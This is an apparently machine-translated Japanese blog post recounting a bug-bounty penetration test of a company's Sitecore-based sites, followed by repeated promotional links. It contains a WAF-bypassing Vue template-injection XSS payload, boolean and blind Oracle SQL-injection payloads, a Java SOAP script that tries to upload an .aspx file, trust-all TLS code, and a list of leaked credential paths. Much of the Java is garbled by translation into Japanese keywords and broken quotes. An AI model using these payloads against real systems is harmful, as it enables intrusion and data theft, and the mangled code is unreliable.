完全な SRC 脆弱性マイニングの実践を記録する

序文

マウスをクリックすることしかできない猿と呼ばれたくないので、1 週間以上にわたって特定の SRC 脆弱性のマイニングを開始しました。SRC 脆弱性マイニングの実践を完全に記録した記事ですので、少し長いですが気長に読んでください。

浸透プロセス

選ばれた幸運な人はテスト範囲を計画していなかったので、今回は範囲がありません。

まずメインのドメイン名を見て、どのような有効な情報を収集できるかを確認します。

検索ボックスが見つかりました:

テストポイント+1

ページをざっと見てみたのですが、役に立つものは何も見つかりませんでした。

パケットを取得した後、Web サイトに CDN と特別なファイルがあることがわかりました。

難易度+1、情報+1

Googleで検索すると、SitecoreがCMSであることがわかります。このCMSのバージョンが特定できればホワイトボックス監査になりますが、試してみるとバージョンは特定できず、テストするしかありません。 CMS の脆弱性がインターネット上で公開されました。

オンラインで見つかった CVE-2021-42237 (Sitecore XP リモート コード実行の脆弱性) は 1 つだけです。試す POC を見つけてください:

長い間探してもこの数件しか見つかりませんでしたが、この CMS はユーザー数が比較的少ないためか、よくできていて抜け穴がないためかもしれません。

次のいずれかを使用してテストします。

POC の使用に失敗し、接続エラーが発生しました。POC コードの分析:

検出リクエストの POC アドレスは次のとおりです。

URL アドレスを手動でリクエストした後、サーバーによってアクセスが拒否され、相手が機密アドレスへのアクセスを制限していることがわかりました。

CMS 情報を検索した結果、/Sitecore が Sitecore CMS のバックエンド アドレス ディレクトリであることがわかりました。これは当然のことであり、将来的には制限されたアクセスを回避できるようになります。

テストポイントに+1。

ポート スキャンを実行して、どのサービスが公開されているかを確認します。nmap または他の方法を使用できますが、ポート スキャンには nmap を使用することを好みます。

収集したポートに 1 つずつアクセスします。ポート 443 のみにアクセスできます。この Web サイトには MySQL サービスがあります。ポート 1723 には社内スタッフが使用する VPN サービスがありますが、アクセスできません。他のポートも同様です。

公共のオンライン プラットフォームを使用して以下をスキャンします。

先ほど収集した情報を確認したところ、さらにいくつかのテスト ポイントが見つかりました。

このドメイン名の簡単な情報収集が完了しました。どのような抜け穴があるかを見てみましょう。抜け穴について簡単なテストを実行できます。

Web サイトでは特殊なシンボルがフィルタリングされていないことがわかります。そのため、ここに SQL または XSS インジェクションがある可能性があります。

このページのソース コードを見ると、ここにあるステートメントは非常に安全ではないようで、翻訳されていない可能性があることがわかりました。

テストにより、WAF が存在することがわかりました。ここで WAF をバイパスしてみることはできますが、現時点ではバイパスしません。ペネトレーション テストの開始時に堅いものを選ぶと、悪いスタートにつながる可能性があります。

次に、収集したプラグインにどのような脆弱性があるかをオンラインで確認します。検索した結果、Vue フレームワークには役立つ可能性のあるテンプレート インジェクションの脆弱性があることがわかりました。

しかし、残念なことに、Vue はフロントエンド フレームワークであり、Vue の脆弱性の影響はそれほど大きくないはずです。通常、Vue.js データは二重中括弧 { {}} または v-text ディレクティブによって バインドされたデータです。Vue.js は、対応するテンプレートを自動的に JS コードにコンパイルします。ただし、そのソース コードは入力データをフィルタリングしません。パブリック POC を使用してテストします。

案の定、WAFによって傍受されました。

別の方法でテストしてもうまくいきません。

robots.txt にアクセスすると、さらに次のような利点がある場合があります。

CMS が Sitecore、access/api が 403、サイトマップにアクセスしていることを確認します。

ジャンプを続けます:

Webサイト開発時に使用するXML設定ファイルであり、情報漏洩の疑いがありますが、害はありません。

403byass を試すこともできます。具体的なバイパス プロセスはここでは説明しません。バイパスは、X-Rewrite-URL でパスをカバーすることで実現されます。

しかし、そのページにアクセスすると、バイパスされているものの、完全にバイパスされておらず、依然としてメイン ページにリダイレクトされていることがわかりました。

次に、サイド サイトとサブドメインを収集します。Layer などのツールや、FOFA や SHODAN などのダーク エンジンを使用できます。著者はここで FOFA を使用して収集しました。

ことわざにあるように、1 日はタバコ 1 杯、ワイン 1 杯、ウェブサイトのテストで十分です。1 日収集し、1 日テストしましたが、不足しているさまざまなスキャン ツールを使用しましたが、スキャン後に IP がブロックされました。遅延したりプロキシを接続したりするにしても、結局のところ、見逃しスキャンツールではスキャンできない抜け穴があり、その上、見逃しスキャンツールしか使用できないので、私はまだマウスをクリックできる猿です。今回はスイカを食べることに成功しましたが、ほとんどの部分で手動テストを使用する以外に選択肢はありませんでした。

もちろん、1 日にして何も得られないということはあり得ません。今回テストされた企業は大規模企業 (業界のリーダー) であるため、エクスポージャーは比較的広範囲になります。

比較的役立つサイトをいくつか集めました。

これらのサイトは非常に興味深いもので、同じ CMS を使用しており、同じコンテンツ、同じ機能を備えており、違いはありません。Web サイトを構築するときに使用されるテスト ページである可能性があります。

Project Management Website という Web サイトもありますが、クリックしても機能がなく、バックグラウンド スキャンや不足しているスキャン ツールでも何もスキャンされません (これは単なる詐欺ではないでしょうか?)。

しかし、このとき、Web サイトが空白で何も表示されていないことに気づきました。一般に、この種の空白の Web サイトは、開発者が見逃している Web サイトである可能性があるため、予期せぬ利益をもたらす可能性があります。

バックグラウンド スキャン ツールでスキャンしたところ、次の 2 つのファイルが見つかりました。

訪問

ウェブサイトの開発ファイルが漏洩し、特定バージョンのウェブサイトプラグインを入手しました

もう一つはGIF画像です。

このページには特別なことは何もありません。右クリックしてページのソース コードを表示し、開発者 ID 値がリークしていることを確認します。

ただし、発見された 2 つの脆弱性には実質的な影響はなく、後で他の脆弱性が悪用される可能性があります。実際の戦闘場面ではイライラする

次に、以前に発見された Web サイトを同じテンプレートでテストし、Vue のテンプレート インジェクション脆弱性の POC も使用します。

ページには乗算操作の結果が出力され、さらに検証すると Vue テンプレート インジェクションの脆弱性があることが確認され、成功したポップアップ ウィンドウが表示されます。

検証の結果、この脆弱性は他の 2 つの Web サイトにも存在しており、これらのテスト Web サイトでは WAF が構築されていないためにこの脆弱性が存在することがわかり、開発者が見逃したサイトである可能性があります。そのため、柔らかい柿にこだわる必要があり、最初から堅固な防御を備えた要塞をテストすることはできず、長い時間を無駄にする可能性があります。

したがって、この脆弱性はメイン ドメイン名にも存在するはずであり、必要なのは WAF をバイパスすることであることがわかります。それらをバイパスする方法についてはオンラインでチュートリアルがあるため、ここでは詳しく説明しません。最終結果は次のとおりです。

ペイロード:{ {constructor.constructor%0a(%27\u0061\u006c\u0065\u0072\u0074`1`%27)()}}

スイカを食べることには成功しましたが、この脆弱性は本質的には単なる XSS で、これだけ時間がかかったのに放っておくわけにはいきませんよね。

ドメイン名の収集とテストを継続します。この期間中、さまざまな Web サイトのバックエンドをいくつか収集しました。SQL とロジックの脆弱性があるかどうかを簡単にテストしただけですが、実質的な利益はありませんでした。本当に難しい問題に遭遇しました。これらの Web サイトは担当者によって保守されています。WAF が導入されているだけでなく、修正が必要な脆弱性は基本的にすべて修正されています。OpenSSH 1.1.1 も 1.1.1.c にアップグレードされています。 SRCを変更して再度テストしたいのですが。。

情報収集を続けていた 1 週間後のある日、ついに FOFA 上にサービス Web サービス インターフェイスを発見しました。

それらの 1 つをクリックすると、インターフェイスの呼び出しコードが指定されており、ファイル アップロードと XML アップロード用のインターフェイスもあることがわかりました。

インターフェイスを呼び出してみます。

インターフェイス呼び出しが失敗し、何度も試みましたが、それでも失敗しました。安全なファイル、サフィックス、および 00 の切り捨ての変更は成功しませんでした。具体的な理由がわからないため、具体的な理由をテストする Java スクリプトを作成しました:

java.io.* をインポートします。
java.net.* をインポートします。

public class FileUploader { public static void main(String[] args) throws Exception { String url = “http://target.com/Service.asmx”; URL obj = 新しい URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection();



//リクエストメソッドとリクエストヘッダを設定
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "text/xml; charset=utf-8");
con.setRequestProperty("SOAPAction", " http://tempuri.org/UploadFile”);

// SOAP メッセージ本文を構築します
String fs = ""; // TODO: ファイルの内容を Base64 でエンコードされた文字列に変換します
String path = "test.aspx";
String fileName = "test.aspx";
StringsoapXml =
"<soap : エンベロープ xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' " +
"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' " +
"xmlns : xsd='http://www.w3.org/2001/XMLSchema'>" +
"soap:Body" +
"" +
"" + fs + "" +
" ” + パス + ” ” +
“” + ファイル名 + “” + “”
+
“</soap:Body>” +
“</soap:Envelope>”;

//SOAP メッセージ本文を送信
con.setDoOutput(true);
OutputStream os = con.getOutputStream();
os.write(soapXml.getBytes());

// レスポンスを読み取る
int responseCode = con.getResponseCode();
System.out.println("レスポンス コード : " + responseCode);

BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
文字列入力行;
StringBuffer 応答 = new StringBuffer();

while ((inputLine = in.readLine()) != null) { response.append(inputLine); in.close ();


// 応答を出力
System.out.println(response.toString());
}
}

このプログラムは、相手のサーバーに接続を積極的に拒否するよう促します。これは、管理者がファイル アップロード インターフェイスを呼び出すための IP アドレスを制限していることを示します (これは実際には難しい問題です)。XML アップロードについても同様です。

仕方なく、方向を変えてバックグラウンド スキャン ツールを使用してスキャンしたところ、確かに多数の機密ファイルがスキャンされました。

アンクルハット + これらのデータは実際には非常に機密であるため、表示するのは不便ですが、大まかな概要のみを示します。

target.com/log/ には、サーバーのログ ファイルが格納されます。
target.com/data/ には、データベース ファイルが格納されます。
target.com/data/Setting.xml には、データベースのユーザー名、パスワード、および IP アドレスが含まれます。
target.com/old/ には、サーバーが含まれます。名前とパスワード
target.com/trace.axd には、サーバーによって伝送されるアプリケーション コードが含まれます
target.com/update/ には、内部システム ファイル、アプリケーション、DLL が格納されます
target.com/update/Setting.xml サービス名、IP、コンピュータ名、パスワードおよび内部 IP アドレス

このスイカは甘いのですが、浸透テストがここまで進んだ時点ですでに1週間もかかっており、筆者はあまり満足できませんでした。それでは、残りのインターフェイスを 1 つずつテストしてみましょう。インターフェイスの 1 つは、製品情報のインベントリを作成するために使用されます。

ファイル漏洩の脆弱性を使用して、データ パケットを構築し、テストします。

whcode パラメータに製品番号を入力すると、返されるパッケージの StocktakeStartResult パラメータの戻り値は 0 になります。

存在しないデータを入力した場合、返されるパッケージの StocktakeStartResult パラメータの戻り値は -1 になります。インターフェイス呼び出しの戻り値は、成功した場合は 0、失敗した場合は -1 であることがわかります。 :

さらに、SQL インジェクションの脆弱性があるかどうかを確認するための判断ステートメントを作成します。

  • 検証: -1' OR 1=1 ==> 真の戻り値は 0

  • 検証: -1' OR 3+220-220-1=0+0+0+1 ==> false 戻り値は -1 です

  • 検証: -1' OR 3*2=6 AND 000220=000220 ==> true 戻り値は 0

したがって、Whcode パラメータに SQL インジェクションの脆弱性が存在するはずです。

判定が完了するとSQLインジェクションが開始されます。

エラーが報告されていることがわかりました。最初はステートメントの構造が間違っているのではないかと思いました。いくつかのステートメントを変更しても無駄でしたが、呼び出し側インターフェイスのエコーが何なのか、何が問題なのかを確認したかったので、次のように書きました。判断に役立つスクリプト。

java.io.BufferedReaderをインポートします。
インポートjava.io.InputStreamReader;
インポートjava.io.OutputStreamWriter;
java.net.HttpURLConnectionをインポートします。
java.net.URLをインポートします。

public class asmx { public static void main(String[] args) throws Exception { // 設置请要求パラメータString url = “https://target.com/”; 文字列soapAction = “http://tempuri.org/StocktakeStart”; 文字列ペイロード = “<?xml version=\\"1.0\\"?><soap12:Envelope xmlns:soap12=\“http://www.w3.org/2003/05/soap-envelope\” xmlns:tns =\“http://tempuri.org/\”><soap12:Header />soap12:Bodytns:StocktakeStarttns:usertsSLAueP</tns:user>tns:whcode1</tns:whcode>tns:PDtype1</tns:PDtype >tns:UNITCODE94102</tns:UNITCODE>tns:BRANDCODE94102</tns:BRANDCODE></tns:StockakingStart></soap12:Body></soap12:Envelope>”;




// 接続
URL requestUrl = 新しいURL(url);
HttpURLConnection 接続 = (HttpURLConnection) requestUrl.openConnection();

// SSL 証明書の検証を無視します
javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier(
(hostname, sslSession) -> true);
trustAllHttpsCertificates();

//リクエストメソッドとヘッダを設定
connection.setRequestMethod("POST");
connection.setRequestProperty("SOAPAction",soapAction);
connection.setRequestProperty("Content-Type", "text/xml;charset=UTF-8") ;
接続.setDoOutput(true);

// 送信要求
OutputStreamWriter Writer = new OutputStreamWriter(connection.getOutputStream(), “UTF-8”);
Writer.write(ペイロード);
ライター.flush();
Writer.close();

// 受信回显
BufferedReader Reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder responseBuilder = new StringBuilder();
文字列行;
while ((line = Reader.readLine()) != null) { responseBuilder.append(line); 文字列応答 = responseBuilder.toString(); Reader.close();



// 出力エコー
System.out.println(response);
}

// SSL 証明書の検証に必要なメソッドを無視します
private static void trustAllHttpsCertificates() throws Exception { javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1]; javax.net.ssl.TrustManager tm =新しい miTM(); trustAllCerts[0] = tm; javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, null); javax.net .ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); }






// SSL 証明書の検証に必要なクラスを無視します
static class miTMimplements javax.net.ssl.TrustManager,
javax.net.ssl.X509TrustManager { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; }


public boolean isServerTrusted(
java.security.cert.X509Certificate[] certs) { return true; }

public boolean isClientTrusted(
java.security.cert.X509Certificate[] certs) { return true; }

public void checkServerTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException { return; }

public void checkClientTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException { return; } } }



しかし、驚いたことに、エコーはなく、データ パケットのみが存在し、エコーはすべてデータ パケット内に含まれていたため、これを処理するのは困難であり、別の方法を見つける必要がありました。

一日以上頭を悩ませて考えた結果、エコーがないので、文全体を判決文に組み立てようと考えました。

ペイロード:-1' OR ASCII(SUBSTRC((SELECT NVL(CAST(user AS VARCHAR(4000)),CHR(32)) FROM aaaa),1,1))>0 AND 000360=000360 –

このコードは、ASCII コードのサイズを使用してユーザー名とパスワードを決定します。ユーザー名の最初の ASCII コードが 66 であると仮定します。判定プロセス中に 66>67 の場合、値の後半は false になります。逆もまた然りです。このようにして、データベースのユーザー名とパスワードを特定できますが、以前に情報漏洩の脆弱性を通じてデータベースのユーザー名とパスワードを知っていたため、ユーザー名とパスワードを直接確認してみましたが、結果は同じでした。

その甲斐あって、筆者は一週間以上かかり、ついに大きなスイカを食べました。SQL インジェクションの脆弱性については、後で詳しく説明する必要はありません。もちろん、SRC を採掘するときは注意しなければなりません。そうしないと、憎む者があなたを探しに来るでしょう。

要約:

つまり、つまんだときに柔らかい柿を選びましょう。ペネトレーションテストのアイデアが最も重要です。ペネトレーションテストを行うときのアイデアは人それぞれです。アイデアとアイデアがあって初めて進めることができます。

ハッキングとネットワークセキュリティを学ぶ方法

今日の私の記事を気に入っていただければ、私のプライベート ネットワーク セキュリティ学習教材を無料で共有します。

1. 学習ロードマップ

攻撃や防御など学ぶべきことはたくさんありますが、具体的に覚えるべきことは上のロードマップに書きましたので、それをクリアできれば就職やプライベートでも問題ありません。 。

2.ビデオチュートリアル

インターネット上には多くの学習リソースがありますが、基本的に不完全です。これは私が自分で録画したインターネット セキュリティ ビデオ チュートリアルです。上記のロードマップのすべてのナレッジ ポイントについてのビデオ説明が付属しています。

内容は、ネットワークセキュリティ法の学習、ネットワークセキュリティ運用などのセキュリティ評価、ペネトレーションテストの基礎、脆弱性の詳しい解説、コンピュータの基礎知識など、ネットワークセキュリティを始めるにあたって必ず知っておきたい学習コンテンツです。

(すべて1つの作品にパッケージ化されており、1つずつ拡張することはできません。合計300以上のエピソードがあります)

スペースに限りがあるため、一部の情報のみが表示されています。以下のリンクをクリックして入手してください。

CSDNギフトパッケージ:「ハッカー&ネットワークセキュリティ入門&上級学習リソースパッケージ」無料共有

3. 技術資料と電子書籍

また、大規模なネットワーク セキュリティ運用、CTF、SRC 脆弱性の掘削に参加した経験と技術的なポイントを含む技術文書も私自身が編集し、200 冊を超える電子書籍があります。一つ一つ表示しないでください。

スペースに限りがあるため、一部の情報のみが表示されています。以下のリンクをクリックして入手してください。

CSDNギフトパッケージ:「ハッカー&ネットワークセキュリティ入門&上級学習リソースパッケージ」無料共有

4. ツールキット、インタビューの質問、ソースコード

「仕事をうまくやり遂げたいなら、まず自分のツールを磨かなければなりません。」 私は、誰にとっても最も人気のある数十のハッキング ツールをまとめました。取材範囲は主に情報収集、Androidハッキングツール、自動化ツール、フィッシングなどです。興味のある学生はぜひご覧ください。

私のビデオで言及されているケースのソースコードと対応するツールキットもありますので、必要に応じて持ち帰ることができます。

スペースに限りがあるため、一部の情報のみが表示されています。以下のリンクをクリックして入手してください。

CSDNギフトパッケージ:「ハッカー&ネットワークセキュリティ入門&上級学習リソースパッケージ」無料共有

最後に、ここ数年にわたって私がまとめたネットワーク セキュリティに関する面接の質問を紹介します。ネットワーク セキュリティの仕事を探しているなら、間違いなく大いに役立つでしょう。

これらの質問は、Sangfor、Qi Anxin、Tencent またはその他の大手企業への面接時によく遭遇します。良い質問や良い洞察がある場合は、共有してください。

参考分析: Sangfor 公式 Web サイト、Qi’anxin 公式 Web サイト、Freebuf、csdn など。

コンテンツの特徴: 明確な構成とグラフィカルな表現により、理解しやすくなっています。

内容の概要: イントラネット、オペレーティング システム、プロトコル、ペネトレーション テスト、セキュリティ サービス、脆弱性、インジェクション、XSS、CSRF、SSRF、ファイル アップロード、ファイル ダウンロード、ファイル インクルード、XXE、論理的脆弱性、ツール、SQLmap、NMAP、BP、国境なき医師団…

スペースに限りがあるため、一部の情報のみが表示されています。以下のリンクをクリックして入手してください。

CSDNギフトパッケージ:「ハッカー&ネットワークセキュリティ入門&上級学習リソースパッケージ」無料共有

おすすめ

転載: blog.csdn.net/Python_0011/article/details/133655292